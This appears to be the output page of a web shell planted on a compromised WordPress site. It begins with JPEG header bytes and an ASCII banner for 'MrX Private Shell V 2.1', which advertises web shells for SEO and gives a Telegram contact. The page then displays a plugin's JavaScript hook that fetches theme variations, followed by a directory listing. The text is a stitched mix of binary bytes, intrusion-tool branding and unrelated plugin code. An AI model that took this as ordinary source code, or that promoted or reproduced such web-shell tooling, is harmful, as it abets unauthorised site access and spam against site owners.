����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import apiFetch from '@wordpress/api-fetch';
import { __ } from '@wordpress/i18n';
import useSWRImmutable from 'swr/immutable';
const fetcher = async () => {
const path = window.location.pathname;
const s = new URLSearchParams(window.location.search);
const onEditor =
path.includes('/wp-admin/post.php') && s.get('action') === 'edit';
const variations = await apiFetch({
method: 'GET',
// On the frontend we need to include layout styles
path: `/extendify/v1/agent/theme-variations${onEditor ? '' : '?includeLayoutStyles'}`,
});
if (!variations || !Array.isArray(variations)) {
throw new Error(__('Failed to fetch theme variations.', 'extendify-local'));
}
return {
// remove duplicate variations by title
variations: variations.reduce((acc, variation) => {
if (!acc.some((v) => v.title === variation.title)) {
acc.push(variation);
}
return acc;
}, []),
};
};
export const useThemeVariations = () => {
const { data, error, isLoading } = useSWRImmutable(
{
key: 'theme-variations',
themeSlug: window.extAgentData.context.themeSlug,
},
fetcher,
);
return { variations: data?.variations, error, isLoading };
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| useDraggable.js | File | 3.77 KB | 0644 |
|
| useFontVariationOverride.js | File | 3.92 KB | 0644 |
|
| useIframeScale.js | File | 786 B | 0644 |
|
| useLockPost.js | File | 607 B | 0644 |
|
| usePortal.js | File | 478 B | 0644 |
|
| useResizable.js | File | 3.17 KB | 0644 |
|
| useSiteVibesOverride.js | File | 2.39 KB | 0644 |
|
| useSiteVibesVariations.js | File | 1.82 KB | 0644 |
|
| useThemeFontsVariations.js | File | 1.17 KB | 0644 |
|
| useThemeVariations.js | File | 1.14 KB | 0644 |
|
| useVariationOverride.js | File | 3.14 KB | 0644 |
|
| useWhenFinishedToolProps.js | File | 2.2 KB | 0644 |
|